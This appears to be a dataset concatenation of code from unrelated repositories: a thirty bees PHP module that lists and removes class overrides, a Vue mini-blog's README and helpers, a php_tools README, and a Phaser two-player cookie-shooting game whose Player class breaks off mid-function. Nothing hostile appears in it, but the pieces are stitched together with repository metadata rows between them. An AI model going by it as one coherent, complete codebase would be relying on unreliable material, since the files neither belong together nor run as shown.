$overriddenClasses = array_keys($this->findOverriddenClasses());
foreach ($overriddenClasses as $overriddenClass) {
$reflectionClass = new ReflectionClass($overriddenClass);
$reflectionMethods = array_filter($reflectionClass->getMethods(), function ($reflectionMethod) use ($overriddenClass) {
return $reflectionMethod->class == $overriddenClass;
});
if (!file_exists($reflectionClass->getFileName())) {
continue;
}
$overrideFile = file($reflectionClass->getFileName());
if (is_array($overrideFile)) {
$overrideFile = array_diff($overrideFile, ["\n"]);
} else {
$overrideFile = [];
}
foreach ($reflectionMethods as $reflectionMethod) {
/** @var ReflectionMethod $reflectionMethod */
$idOverride = substr(sha1($reflectionMethod->class.'::'.$reflectionMethod->name), 0, 10);
$overriddenMethod = [
'id_override' => $idOverride,
'override' => $reflectionMethod->class.'::'.$reflectionMethod->name,
'module_code' => $this->l('Unknown'),
'module_name' => $this->l('Unknown'),
'date' => $this->l('Unknown'),
'version' => $this->l('Unknown'),
'deleted' => (Tools::isSubmit('deletemodule') && Tools::getValue( 'id_override') === $idOverride)
|| (Tools::isSubmit('overrideBox') && in_array($idOverride, Tools::getValue('overrideBox'))),
];
if (isset($overrideFile[$reflectionMethod->getStartLine() - 5])
&& preg_match('/module: (.*)/ism', $overrideFile[$reflectionMethod->getStartLine() - 5], $module)
&& preg_match('/date: (.*)/ism', $overrideFile[$reflectionMethod->getStartLine() - 4], $date)
&& preg_match('/version: ([0-9.]+)/ism', $overrideFile[$reflectionMethod->getStartLine() - 3], $version)) {
$overriddenMethod['module_code'] = trim($module[1]);
$module = Module::getInstanceByName(trim($module[1]));
if (Validate::isLoadedObject($module)) {
$overriddenMethod['module_name'] = $module->displayName;
}
$overriddenMethod['date'] = trim($date[1]);
$overriddenMethod['version'] = trim($version[1]);
}
$overrides[$idOverride] = $overriddenMethod;
}
}
return $overrides;
}
/**
* Find all override classes
*
* @return array Overridden classes
*/
protected function findOverriddenClasses()
{
$hostMode = defined('_PS_HOST_MODE_') && _PS_HOST_MODE_;
return $this->getClassesFromDir('override/classes/', $hostMode) + $this->getClassesFromDir('override/controllers/', $hostMode);
}
/**
* Retrieve recursively all classes in a directory and its subdirectories
*
* @param string $path Relative path from root to the directory
* @param bool $hostMode
*
* @return array
*/
protected function getClassesFromDir($path, $hostMode = false)
{
$classes = [];
$rootDir = $hostMode ? $this->normalizeDirectory(_PS_ROOT_DIR_) : _PS_CORE_DIR_.'/';
foreach (scandir($rootDir.$path) as $file) {
if ($file[0] != '.') {
if (is_dir($rootDir.$path.$file)) {
$classes = array_merge($classes, $this->getClassesFromDir($path.$file.'/', $hostMode));
} elseif (substr($file, -4) == '.php') {
$content = file_get_contents($rootDir.$path.$file);
$namespacePattern = '[\\a-z0-9_]*[\\]';
$pattern = '#\W((abstract\s+)?class|interface)\s+(?P<classname>'.basename($file, '.php').'(?:Core)?)'.'(?:\s+extends\s+'.$namespacePattern.'[a-z][a-z0-9_]*)?(?:\s+implements\s+'.$namespacePattern.'[a-z][\\a-z0-9_]*(?:\s*,\s*'.$namespacePattern.'[a-z][\\a-z0-9_]*)*)?\s*\{#i';
if (preg_match($pattern, $content, $m)) {
$classes[$m['classname']] = [
'path' => $path.$file,
'type' => trim($m[1]),
'override' => true,
];
if (substr($m['classname'], -4) == 'Core') {
$classes[substr($m['classname'], 0, -4)] = [
'path' => '',
'type' => $classes[$m['classname']]['type'],
'override' => true,
];
}
}
}
}
}
return $classes;
}
/**
* Normalize directory
*
* @param string $directory
*
* @return string
*/
protected function normalizeDirectory($directory)
{
return rtrim($directory, '/\\').DIRECTORY_SEPARATOR;
}
/**
* @param string $className
* @param string $method
*
* @return bool
*/
protected function removeMethod($className, $method)
{
$success = true;
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP5);
try {
$reflection = new ReflectionClass($className);
$filename = $reflection->getFileName();
if (strpos(realpath($filename), realpath(_PS_OVERRIDE_DIR_)) === false) {
$this->context->controller->errors[] = $this->l('The selected class is not an override. Please report this on GitHub, because this is a bug!');
return false;
}
$stmts = $parser->parse(file_get_contents($filename));
$traverser = new NodeTraverser();
$prettyPrinter = new StandardPrinter;
$traverser->addVisitor(new OverrideVisitor($method));
$traverser->traverse($stmts);
file_put_contents($filename, $prettyPrinter->prettyPrintFile($stmts));
@unlink(_PS_ROOT_DIR_.'/'.PrestaShopAutoload::INDEX_FILE);
} catch (ReflectionException $e) {
$this->context->controller->errors[] = $this->l('Unable to remove override, could not find override file');
return false;
} catch (Error $e) {
$this->context->controller->errors[] = $this->l('Unable to remove override').": Parse Error: {$e->getMessage()}";
return false;
}
return $success;
}
/**
* Display an override on the list
*
* @param string $id
* @param string $tr
*
* @return string
*/
public function displayOverride($id, $tr)
{
$removed = !empty($tr['deleted']) ? ' <div class="badge badge-danger">'.$this->l('Removed').'</div>' : '';
return "<code>$id</code>$removed";
}
/**
* Display module code
*
* @param string $id
*
* @return string
*/
public function displayModuleCode($id)
{
return "<kbd>$id</kbd>";
}
/**
* Display module version
*
* @param string $id
*
* @return string
*/
public function displayModuleVersion($id)
{
return "<kbd>$id</kbd>";
}
}
<file_sep><?php
global $_MODULE;
$_MODULE = [];
$_MODULE['<{overridecheck}prestashop>overridecheck_f03efce16d09c37d5a80390a918a1030'] = 'Uw PHP-versie wordt niet ondersteund. Upgrade naar versie 5.3 of hoger.';
$_MODULE['<{overridecheck}prestashop>overridecheck_79b5ed8adb68cadd0b8af73c1d22eb33'] = 'Override controle';
$_MODULE['<{overridecheck}prestashop>overridecheck_d14529ae5c4d7c009350aad0a4de78ff'] = 'Controleer welke overrides in gebruik zijn';
$_MODULE['<{overridecheck}prestashop>overridecheck_88183b946cc5f0e8c96b2e66e1c74a7e'] = 'Onbekend';
$_MODULE['<{overridecheck}prestashop>overridecheck_d3b206d196cd6be3a2764c1fb90b200f'] = 'Verwijder geselecteerde';
$_MODULE['<{overridecheck}prestashop>overridecheck_e25f0ecd41211b01c83e5fec41df4fe7'] = 'Geselecteerde items verwijderen?';
$_MODULE['<{overridecheck}prestashop>overridecheck_b718adec73e04ce3ec720dd11a06a308'] = 'ID';
$_MODULE['<{overridecheck}prestashop>overridecheck_6da8e67225fdcfa78c3ea5dc3154b849'] = 'Override';
$_MODULE['<{overridecheck}prestashop>overridecheck_72176c77692ee685bd854cd6da1312d4'] = 'Modulecode';
$_MODULE['<{overridecheck}prestashop>overridecheck_07403a8bc81d7865c8e040e718ec7828'] = 'Modulenaam';
$_MODULE['<{overridecheck}prestashop>overridecheck_b1c1d84a65180d5912b2dee38a48d6b5'] = 'Moduleversie';
$_MODULE['<{overridecheck}prestashop>overridecheck_07c0738a904b75e32c11a7cf34111611'] = 'Geïnstalleerd op';
$_MODULE['<{overridecheck}prestashop>overridecheck_0ca08f8f4a8a19f7f1ae87c119494327'] = 'Overrides';
<file_sep><?php
/**
* 2017-2018 thirty bees
*
* NOTICE OF LICENSE
*
* This source file is subject to the Academic Free License (AFL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/afl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to <EMAIL> so we can send you a copy immediately.
*
* @author <NAME> <<EMAIL>>
* @copyright 2017-2018 thirty bees
* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)
*/
namespace OverrideCheckModule;
use ThirtyBeesOverrideCheck\PhpParser\Node\Stmt\ClassMethod;
use ThirtyBeesOverrideCheck\PhpParser\NodeTraverser;
if (!defined('_TB_VERSION_')) {
exit;
}
/**
* Class OverrideVisitor
*
* @package OverrideCheckModule
*/
class OverrideVisitor implements \ThirtyBeesOverrideCheck\PhpParser\NodeVisitor
{
/** @var string $methodToRemove */
protected $methodToRemove;
/**
* OverrideVisitor constructor.
*/
public function __construct($methodToRemove)
{
$this->methodToRemove = $methodToRemove;
}
/**
* @param $methodToRemove
*
* @return OverrideVisitor
*/
public function setMethodToRemove($methodToRemove)
{
$this->methodToRemove = $methodToRemove;
return $this;
}
/**
* Called once before traversal.
*
* Return value semantics:
* * null: $nodes stays as-is
* * otherwise: $nodes is set to the return value
*
* @param \ThirtyBeesOverrideCheck\PhpParser\Node $nodes Array of nodes
*
* @return null|\ThirtyBeesOverrideCheck\PhpParser\Node Array of nodes
*/
public function beforeTraverse(array $nodes)
{
return $nodes;
}
/**
* Called when entering a node.
*
* Return value semantics:
* * null
* => $node stays as-is
* * NodeTraverser::DONT_TRAVERSE_CHILDREN
* => Children of $node are not traversed. $node stays as-is
* * NodeTraverser::STOP_TRAVERSAL
* => Traversal is aborted. $node stays as-is
* * otherwise
* => $node is set to the return value
*
* @param \ThirtyBeesOverrideCheck\PhpParser\Node $node Node
*
* @return null|int|\ThirtyBeesOverrideCheck\PhpParser\Node Node
*/
public function enterNode(\ThirtyBeesOverrideCheck\PhpParser\Node $node)
{
return $node;
}
/**
* Called when leaving a node.
*
* Return value semantics:
* * null
* => $node stays as-is
* * NodeTraverser::REMOVE_NODE
* => $node is removed from the parent array
* * NodeTraverser::STOP_TRAVERSAL
* => Traversal is aborted. $node stays as-is
* * array (of Nodes)
* => The return value is merged into the parent array (at the position of the $node)
* * otherwise
* => $node is set to the return value
*
* @param \ThirtyBeesOverrideCheck\PhpParser\Node $node Node
*
* @return null|false|int|\ThirtyBeesOverrideCheck\PhpParser\Node|\ThirtyBeesOverrideCheck\PhpParser\Node Node
*/
public function leaveNode(\ThirtyBeesOverrideCheck\PhpParser\Node $node)
{
if ($node instanceof ClassMethod && $node->name === $this->methodToRemove) {
return NodeTraverser::REMOVE_NODE;
}
return $node;
}
/**
* Called once after traversal.
*
* Return value semantics:
* * null: $nodes stays as-is
* * otherwise: $nodes is set to the return value
*
* @param \ThirtyBeesOverrideCheck\PhpParser\Node $nodes Array of nodes
*
* @return null|\ThirtyBeesOverrideCheck\PhpParser\Node Array of nodes
*/
public function afterTraverse(array $nodes)
{
return $nodes;
}
}
| c26b6f6fe0352b3f1c35aeae9e24bc10c50b9678 | [
"Markdown",
"PHP"
] | 4 | Markdown | thirtybees/overridecheck | 942c428ae7ba2e559af0ed91c81bae669d0cd54b | e8137a7aab60aa392d81fffd6fbde3c58368305c |
refs/heads/master | <file_sep># mgahed-blog
## Project setup
```
npm install
```
### Compiles and hot-reloads for development
```
npm run serve
```
### Compiles and minifies for production
```
npm run build
```
### about
This project is a mini blog app that created with vue, and I used laravel to support vue app end points
### Customize configuration
See [See Project on production](https://mgahed.github.io/mini-blog/).
<file_sep>self.__precacheManifest = (self.__precacheManifest || []).concat([
{
"revision": "b6b8a6e3eb0bc7c19de4",
"url": "/mini-blog/css/app.eb65c83d.css"
},
{
"revision": "c60daaf723f5aca0c6bfdffd57207611",
"url": "/mini-blog/index.html"
},
{
"revision": "b6b8a6e3eb0bc7c19de4",
"url": "/mini-blog/js/app.537856e1.js"
},
{
"revision": "f2ee81ccb40d0c92984c",
"url": "/mini-blog/js/chunk-vendors.a459cee1.js"
},
{
"revision": "203310d9f9edd3d8bbffb870d32c71f9",
"url": "/mini-blog/manifest.json"
},
{
"revision": "b6216d61c03e6ce0c9aea6ca7808f7ca",
"url": "/mini-blog/robots.txt"
}
]);<file_sep>import {ref} from "vue";
const filterPosts = (tag) => {
const posts = ref([])
const error = ref(null)
const load = async () => {
try {
let data = await fetch('https://mgahed-api.herokuapp.com/api/posts/tag/' + tag)//https://jsonplaceholder.typicode.com/posts/
if (!data.ok) {
throw Error('Posts Not Exist')
}
posts.value = await data.json()
} catch (err) {
error.value = err.message
console.log(error.value)
}
}
return {posts, error, load}
}
export default filterPosts | 02d7004ee9c6dbc7f98f09324cbf1d08eda12408 | [
"Markdown",
"JavaScript"
] | 3 | Markdown | Mgahed/mini-blog | f0efd4b10075632d2db21e6fcbedd6855ecb0231 | 8350718ca509cf2d27faaeadcd9e834df733b9cb |
refs/heads/main | <repo_name>179660663/php_tools<file_sep>/src/Date.php
<?php
namespace Tools;
class Date
{
}<file_sep>/README.md
# php_tools
封装一个php工具合集
| 8e48fbaee81f249285a36b0d12c37cee1df977ff | [
"Markdown",
"PHP"
] | 2 | PHP | 179660663/php_tools | 9621e21359f027f951c78b8a05c10d0e628e39bd | e1ba5f2fc95ecbf819ad282099168955062ca3e9 |
refs/heads/master | <file_sep>class Milk extends Phaser.Sprite{
constructor(game, x, y, img){
super(game, x, y, img)
game.physics.enable(this, Phaser.Physics.ARCADE);
this.body.collideWorldBounds = true;
this.scale.setTo(0.12,0.12);
this.anchor.setTo(0.5,0.5);
this.damage = 1;
game.add.existing(this);
}
killMilk(){
this.loadTexture('splash')
this.scale.setTo(0.4,0.4);
this.anchor.setTo(0.5,0.5);
this.kill();
}
}<file_sep>'use strict'
/**
* Exemplo de jogo com miscelanea de elementos:
* - control de personagem por rotacionar e mover usando arcade physics
* - dois players PVP
* - pool e tiros
* - colisao de tiros e players
* - taxa de tiros e variancia de angulo
* - HUD simples
* - mapa em TXT
*/
const config = {};
config.RES_X = 1280 ;// resolucao HD
config.RES_Y = 704;
var player1Score = 0;
var player2Score = 0;
var backgroundCount = 1;
var winCount = 0;
var levelWinner = false;
var gameWinner = false;
var level = 1;
var showLevelDelay = 180;
var showLevelCount = 0;
var player1;
var player2;
var cursors;
var bg;
var hud;
var map;
var mapsCount = 0;
var maps = ['map1','map2','map3'];
var sugarSpawnDelay = 400;
var yeastSpawnDelay = 700;
var milkSpawnDelay = 80;
var sugarDelay = 0;
var yeastDelay = 0;
var milkDelay = 0;
var sugars;
var yeasts;
var milks;
var winCount = 0;
var winDelay = 300;
var backgroundAudio;
var audioCount = 1;
var shotSound;
var hitSound;
var bufSound;
var game = new Phaser.Game(config.RES_X, config.RES_Y, Phaser.CANVAS,
'game-container',
{
preload: preload,
create: create,
update: update,
render: render
})
function getRandomX(){
var spawnX = Math.floor(Math.random() * (config.RES_X-10)+10);
while(spawnX == (config.RES_X/2)){
spawnX = Math.floor(Math.random() * (config.RES_X-10)+10);
}
return spawnX;
}
function createSugar(){
if (sugarDelay == sugarSpawnDelay){
var sugar = new Sugar(game, getRandomX(), 0, 'sugar');
sugars.add(sugar);
sugarDelay = 0;
}
else{
sugarDelay++;
}
}
function createYeast(){
if (yeastDelay == yeastSpawnDelay){
var yeast = new Yeast(game, getRandomX(), 0, 'yeast') ;
yeasts.add(yeast);
yeastDelay = 0;
}
else{
yeastDelay++;
}
}
function createMilk(){
if(milkDelay == milkSpawnDelay){
var milk = new Milk(game, getRandomX(), 0, 'milk');
milks.add(milk);
milkDelay = 0;
}else{
milkDelay++;
}
}
function toggleFullScreen() {
game.scale.fullScreenScaleMode = Phaser.ScaleManager.SHOW_ALL
if (game.scale.isFullScreen) {
game.scale.stopFullScreen()
} else {
game.scale.startFullScreen(false)
}
}
function loadFile() {
var text = game.cache.getText(maps[mapsCount]);
mapsCount++;
return text.split('\n');
}
function createMap() {
// carrega mapa de arquivo texto
var mapData = loadFile()
/*
W = wall
S = surface
D = deathzone
U = unbreakable wall
V = vortex
*/
map = game.add.group()
for (var row = 0; row < mapData.length; row++) {
for (var col = 0; col < mapData[row].length; col++) {
var tipo = mapData[row][col];
if(tipo == 'S'){
var swall = map.create(col*32, row*32, 'sWall');
swall.scale.setTo(0.5, 0.5);
game.physics.enable(swall, Phaser.Physics.ARCADE);
swall.body.collideWorldBounds = true;
swall.body.allowGravity = false;
swall.body.immovable = true;
swall.tag = 'sWall';
}
else if (tipo == 'W') {
var wall = map.create(col*32, row*32, 'wall');
wall.scale.setTo(0.5, 0.5);
game.physics.enable(wall, Phaser.Physics.ARCADE);
wall.body.collideWorldBounds = true;
wall.body.allowGravity = false;
wall.body.immovable = true;
wall.tag = 'wall';
} else if (tipo == 'D'){
var deathWall = map.create(col*32, row*32, 'deathWall');
deathWall.scale.setTo(0.5, 0.5);
deathWall.animations.add('burn');
deathWall.animations.play('burn',100,true);
game.physics.enable(deathWall, Phaser.Physics.ARCADE);
deathWall.body.collideWorldBounds = true;
deathWall.body.allowGravity = false;
deathWall.body.immovable = true;
deathWall.tag = 'deathWall';
}else if (tipo == 'V'){
var vortex = map.create(col*32, row*32, 'vortex');
vortex.scale.setTo(0.5, 0.5);
vortex.animations.add('teleport');
vortex.animations.play('teleport',10,true);
game.physics.enable(vortex, Phaser.Physics.ARCADE);
vortex.body.collideWorldBounds = true;
vortex.body.allowGravity = false;
vortex.body.immovable = true;
vortex.tag = 'vortex';
}else if (tipo == 'U'){
var uwall = map.create(col*32, row*32, 'uWall');
uwall.scale.setTo(0.5, 0.5);
game.physics.enable(uwall, Phaser.Physics.ARCADE);
uwall.body.collideWorldBounds = true;
uwall.body.allowGravity = false;
uwall.body.immovable = true;
uwall.tag = 'uWall';
}
}
}
}
function preload() {
game.load.image('background1','assets/back1.png');
game.load.image('background2','assets/back2.png');
game.load.image('background3','assets/back3.png');
game.load.image('cookie','assets/cookie.png');
game.load.image('shot', 'assets/shot.png');
game.load.image('specialShot', 'assets/specialShot.png');
game.load.image('sugar', 'assets/sugar.png');
game.load.image('yeast', 'assets/yeast.png');
game.load.image('milk', 'assets/milk.png');
game.load.image('splash', 'assets/splash.png');
game.load.image('wall', 'assets/wall.png');
game.load.image('uWall', 'assets/uwall.png');
game.load.image('sWall', 'assets/swall.png');
game.load.spritesheet('vortex','assets/teleport.png',64,64,4);
game.load.spritesheet('deathWall','assets/deathWall.png',64,64,64);
game.load.text('map1', 'assets/map1.txt');
game.load.text('map2', 'assets/map2.txt');
game.load.text('map3', 'assets/map3.txt');
game.load.audio('fundo1','assets/fundo1.mp3');
game.load.audio('fundo2','assets/fundo2.mp3');
game.load.audio('fundo3','assets/fundo3.mp3');
game.load.audio('shotSound','assets/shotSound.ogg');
game.load.audio('hitSound','assets/hitSound.mp3');
game.load.audio('bufSound','assets/bufSound.mp3');
}
function createPlayers(){
player1 = new Player(game, game.width*2/9, game.height/2, 'cookie', 't1', {
left: Phaser.Keyboard.A,
right: Phaser.Keyboard.D,
jump: Phaser.Keyboard.W,
fire: Phaser.Keyboard.SPACEBAR
});
player2 = new Player(game, game.width*7/9, game.height/2, 'cookie', 't2', {
left: Phaser.Keyboard.LEFT,
right: Phaser.Keyboard.RIGHT,
jump: Phaser.Keyboard.UP,
fire: Phaser.Keyboard.ENTER
});
}
function createBackground(){
var backgroundWidth = game.cache.getImage('background'+backgroundCount).width;
var backgroundHeight = game.cache.getImage('background'+backgroundCount).height;
bg = game.add.tileSprite(0, 0, backgroundWidth, backgroundHeight, 'background'+backgroundCount);
bg.scale.x = game.width/bg.width;
bg.scale.y = game.height/bg.height;
backgroundCount++;
}
function create(){
game.physics.startSystem(Phaser.Physics.ARCADE);
game.physics.arcade.gravity.y = 300;
createBackground();
createMap();
sugars = game.add.group();
yeasts = game.add.group();
milks = game.add.group();
createPlayers();
var fullScreenButton = game.input.keyboard.addKey(Phaser.Keyboard.ONE);
fullScreenButton.onDown.add(toggleFullScreen);
hud = {
player1: createPlayerText(game.width*1/9, 40, 'PLAYER 1'),
player2: createPlayerText(game.width*8/9, 40, 'PLAYER 2'),
text1: createHealthText(game.width*1/9, 70, 'HEALTH: 20'),
text2: createHealthText(game.width*8/9, 70, 'HEALTH: 20'),
speed1: createSpeedText(game.width*1/9, 90, 'SPEED: '+player1.velocity),
speed2: createSpeedText(game.width*8/9, 90, 'SPEED: '+player2.velocity),
fire1: createDelayText(game.width*1/9, 110, 'DELAY: '+player1.fireDelay/60+'s'),
fire2: createDelayText(game.width*8/9, 110, 'DELAY: '+player2.fireDelay/60+'s'),
score1: createScoreText(game.width*1/9, 130, 'MD3: '+player1Score),
score2: createScoreText(game.width*8/9, 130, 'MD3: '+player2Score),
winner1: createWinnerText(game.width/2, game.height/2, 'Player 1 WIN!'),
winner2: createWinnerText(game.width/2, game.height/2, 'Player 2 WIN!'),
textLevel: createLevelText()
};
updateHud();
var fps = new FramesPerSecond(game, game.width/2, 50);
game.add.existing(fps);
backgroundAudio = game.add.audio('fundo'+audioCount);
audioCount++;
backgroundAudio.loop = true;
backgroundAudio.volume -= 0.8;
backgroundAudio.play();
shotSound = game.add.audio('shotSound');
hitSound = game.add.audio('hitSound');
bufSound = game.add.audio('bufSound');
}
function createPlayerText(x, y, text) {
var style = {font: 'bold 20px Arial', fill: 'white'}
var text = game.add.text(x, y, text, style)
text.setShadow(3, 3, 'rgba(0,0,0,0.5)', 2)
text.stroke = '#000000';
text.strokeThickness = 2;
text.anchor.setTo(0.5, 0.5)
return text
}
function createHealthText(x, y, text) {
var style = {font: 'bold 20px Arial', fill: 'red'}
var text = game.add.text(x, y, text, style)
text.stroke = '#000000';
text.strokeThickness = 2;
text.anchor.setTo(0.5, 0.5)
return text
}
function createSpeedText(x, y, text) {
var style = {font: 'bold 20px Arial', fill: 'grey'}
var text = game.add.text(x, y, text, style)
text.stroke = '#111111';
text.strokeThickness = 2;
text.anchor.setTo(0.5, 0.5)
text.visible = true;
return text
}
function createDelayText(x, y, text) {
var style = {font: 'bold 20px Arial', fill: 'orange'}
var text = game.add.text(x, y, text, style)
text.stroke = '#000000';
text.strokeThickness = 2;
text.anchor.setTo(0.5, 0.5)
text.visible = true;
return text
}
function createScoreText(x, y, text) {
var style = {font: 'bold 20px Arial', fill: 'yellow'}
var text = game.add.text(x, y, text, style)
//text.setShadow(3, 3, 'rgba(0,0,0,0.5)', 2)
text.stroke = '#000000';
text.strokeThickness = 2;
text.anchor.setTo(0.5, 0.5)
return text
}
function createLevelText(x, y) {
var levelNumber = 'Level '+level;
var style = {font: 'bold 52px Arial', fill: 'white'}
var text = game.add.text(game.width/2, game.height/2, levelNumber, style)
text.stroke = '#000000';
text.strokeThickness = 2;
text.anchor.setTo(0.5, 0.5)
text.visible = true;
level++;
return text
}
function createWinnerText(x, y, text) {
var style = {font: 'bold 72px Arial', fill: 'white'}
var text = game.add.text(x, y, text, style)
text.stroke = '#000000';
text.strokeThickness = 2;
text.anchor.setTo(0.5, 0.5)
text.visible = false;
return text
}
function gameKillMilk(milk,wall){
milk.killMilk();
}
function playerGetSugar(player, sugar){
player.increasesSpeed();
sugar.killSugar();
}
function playerGetYeast(player, yeast){
player.increasesFireDelay();
yeast.killYeast();
}
function playerHitByMilk(player,milk){
player.damageTaken(milk.damage);
milk.killMilk();
}
function sugarMapCollide(sugar, wall){
sugar.turning = false;
if(wall.tag == 'deathWall'){
sugar.killSugar();
}else if (wall.tag == 'vortex'){
sugar.killSugar();
}
}
function yeastMapCollide(yeast, wall){
yeast.turning = false;
if(wall.tag == 'deathWall'){
yeast.killYeast();
}else if (wall.tag == 'vortex'){
yeast.killYeast();
}
}
function bulletMapCollide(bullet,wall){
if (wall.tag == 'wall'){
wall.kill();
bullet.killBullet();
}else if (wall.tag == 'sWall'){
wall.kill();
bullet.killBullet();
}
else if (wall.tag == 'uWall'){
bullet.killBullet();
}
else if (wall.tag == 'deathWall'){
bullet.killBullet();
}
}
function playerHitBySimpleBullet(player,bullet){
player.damageTaken(bullet.damage);
bullet.killBullet();
}
function playerHitBySpecialBullet(player,bullet){
player.damageTaken(bullet.damage);
bullet.killSpecialBullet();
}
function bulletHitMilk(bullet,milk){
bullet.changeBullet();
milk.killMilk();
}
function playerMapCollide(player,wall){
if (wall.tag == 'deathWall'){
player.health = 0;
}
}
function bulletHitSugar(bullet,sugar){
bullet.killBullet();
sugar.killSugar();
}
function bulletHitYeast(bullet, yeast){
bullet.killBullet();
yeast.killYeast();
}
function playerCollisions(){
//jogador colidindo com o mapa
game.physics.arcade.collide(player1, map, playerMapCollide);
game.physics.arcade.collide(player2, map, playerMapCollide);
//jogador colidindo com os colecionaveis
game.physics.arcade.overlap(player1, sugars, playerGetSugar);
game.physics.arcade.overlap(player1, yeasts, playerGetYeast);
game.physics.arcade.overlap(player2, sugars, playerGetSugar);
game.physics.arcade.overlap(player2, yeasts, playerGetYeast);
//jogador colidindo com a gota de leite
game.physics.arcade.overlap(player1, milks, playerHitByMilk);
game.physics.arcade.overlap(player2, milks, playerHitByMilk);
}
function bulletsCollisions(){
//bala colidindo entre os jogadores
game.physics.arcade.overlap(player1,player2.bullets,playerHitBySimpleBullet);
game.physics.arcade.overlap(player2,player1.bullets,playerHitBySimpleBullet);
//bala colidindo com o mapa
game.physics.arcade.overlap(player1.bullets,map,bulletMapCollide);
game.physics.arcade.overlap(player2.bullets,map,bulletMapCollide);
//bala colidindo com a gota de leite
game.physics.arcade.overlap(player1.bullets, milks, bulletHitMilk);
game.physics.arcade.overlap(player2.bullets, milks, bulletHitMilk);
//bala colidindo com os colecionaveis
game.physics.arcade.collide(player1.bullets, sugars, bulletHitSugar);
game.physics.arcade.collide(player2.bullets, sugars, bulletHitSugar);
game.physics.arcade.collide(player1.bullets, yeasts, bulletHitYeast);
game.physics.arcade.collide(player2.bullets, yeasts, bulletHitYeast);
}
function checkCollisions(){
//gota de leite colidindo com o mapa
game.physics.arcade.collide(milks, map, gameKillMilk);
//açucar colidindo com o mapa
game.physics.arcade.collide(sugars, map, sugarMapCollide);
//fermento colidindo com o mapa
game.physics.arcade.collide(yeasts, map, yeastMapCollide);
}
function checkDeadMilks(){
milks.forEach(function(milk){
if(!milk.alive){
milk.destroy();
}
});
}
function checkDeadSugars(){
sugars.forEach(function(sugar){
if(!sugar.alive){
sugar.destroy();
}
});
}
function checkDeadYeast(){
yeasts.forEach(function(yeast){
if(!yeast.alive){
yeast.destroy();
}
});
}
function checkDeadPlayer(){
if (!player1.alive){
player1.destroy();
}else if (!player2.alive){
player2.destroy();
}
else if (!player1.alive && !player2.alive){
player1.destroy();
player2.destroy();
}
}
function callNextStage(){
if (gameWinner){
mapsCount = 0;
backgroundCount = 1;
level = 1;
gameWinner = false;
levelWinner = false;
milkSpawnDelay = 80;
winCount = 0;
showLevelCount = 0;
milkDelay = 0;
sugarDelay = 0;
yeastDelay = 0;
player1Score = 0;
player2Score = 0;
audioCount = 1;
backgroundAudio.pause();
game.state.restart();
}else{
backgroundAudio.pause();
game.state.restart();
showLevelCount = 0;
milkSpawnDelay = milkSpawnDelay-30;
milkDelay = 0;
sugarDelay = 0;
yeastDelay = 0;
}
}
function checkGameWinner(){
if(player1Score == 2 && player1Score > player2Score){
gameWinner = true;
}else if (player2Score == 2 && player2Score > player1Score){
gameWinner = true;
}
}
function callChampion(){
if(player1Score == 2 && player1Score > player2Score){
hud.winner1.visible = true;
}else if (player2Score == 2 && player2Score > player1Score){
hud.winner2.visible = true;
}
}
function update(){
if (gameWinner){
checkDeadMilks();
checkDeadSugars();
checkDeadYeast();
checkDeadPlayer();
playerCollisions();
bulletsCollisions();
checkCollisions();
updateHud();
callChampion();
if(winCount == winDelay){
callNextStage();
}else{
winCount++;
}
}else{
checkDeadMilks();
checkDeadSugars();
checkDeadYeast();
checkDeadPlayer();
playerCollisions();
bulletsCollisions();
checkCollisions();
updateHud();
createMilk();
createSugar();
createYeast();
if(player1.alive && !player2.alive){
player1Score++;
levelWinner = true;
}else if (player2.alive && !player1.alive){
player2Score++;
levelWinner = true;
}else if (!player1.alive && !player2.alive){
player1Score++;
player2Score++;
levelWinner = true;
}
if(levelWinner){
levelWinner = false;
checkGameWinner();
if (!gameWinner){
callNextStage();
}
}
}
}
function updateHud() {
hud.text1.text = 'HEALTH: '+ player1.health
hud.text2.text = 'HEALTH: ' + player2.health
hud.score1.text = 'MD3: '+player1Score;
hud.score2.text = 'MD3: '+player2Score;
hud.speed1.text = 'SPEED: '+player1.velocity;
hud.speed2.text = 'SPEED: '+player2.velocity;
hud.fire1.text = 'DELAY: '+player1.fireDelay/60+'s';
hud.fire2.text = 'DELAY: '+player2.fireDelay/60+'s';
if (hud.textLevel.visible == false){
return;
}
else if (showLevelCount == showLevelDelay){
hud.textLevel.visible = false;
}else{
showLevelCount++;
}
}
function render(){
/*game.debug.body(player);
game.debug.body(player2);
maps.forEach(function(obj){game.debug.body(obj)});
milks.forEach(function(obj){game.debug.body(obj)});
sugars.forEach(function(obj){game.debug.body(obj)});
yeasts.forEach(function(obj){game.debug.body(obj)});*/
}<file_sep>Cookie's War
Jogo utilizando a plataforma Phaser.
Estilo: Competitivo.
Objetivo: Vencer um Melhor de 3 (MD3) contra o seu adversário.
<file_sep>
class Player extends Phaser.Sprite {
constructor(game, x, y, img, pType,keys) {
super(game, x, y, img)
this.jumpTimer = 0;
this.fireDelayMax = 30;
this.fireDelay = 180;
this.fireCount = 180;
this.velocity = 150;
this.health = 10;
this.angleSpeed = 3;
this.scale.setTo(0.1,0.1);
this.anchor.setTo(0.5, 0.5)
game.physics.enable(this, Phaser.Physics.ARCADE);
this.body.collideWorldBounds = true;
this.body.gravity.y = 1000;
this.body.maxVelocity.y = 500;
this.body.maxVelocity.x = 400;
this.pType = pType;
this.cursors = {
left: game.input.keyboard.addKey(keys.left),
right: game.input.keyboard.addKey(keys.right),
jump: game.input.keyboard.addKey(keys.jump),
fire: game.input.keyboard.addKey(keys.fire)
}
this.bullets = game.add.group();
this.specialBullet;
game.add.existing(this)
}
killPlayer(){
this.kill();
}
playerAlive(){
if(this.health <= 0){
this.kill();
}
}
damageTaken(damage){
hitSound.play();
this.health = this.health-damage;
this.resetPlayer();
}
speedReset(){
this.velocity = 150;
}
increasesSpeed(){
bufSound.play();
if(this.velocity == this.body.maxVelocity.x){
this.velocity = this.body.maxVelocity.x;
}else{
this.velocity = this.velocity+50;
}
}
fireDelayReset(){
this.fireDelay = 180;
this.fireCount = this.fireDelay;
}
increasesFireDelay(){
bufSound.play();
if (this.fireDelay == this.fireDelayMax){
this.fireDelay = this.fireDelayMax;
}else{
this.fireDelay = this.fireDelay-30;
this.fireCount = this.fireDelay;
}
}
resetPlayer(){
this.speedReset();
this.fireDelayReset();
}
fireCookies(){
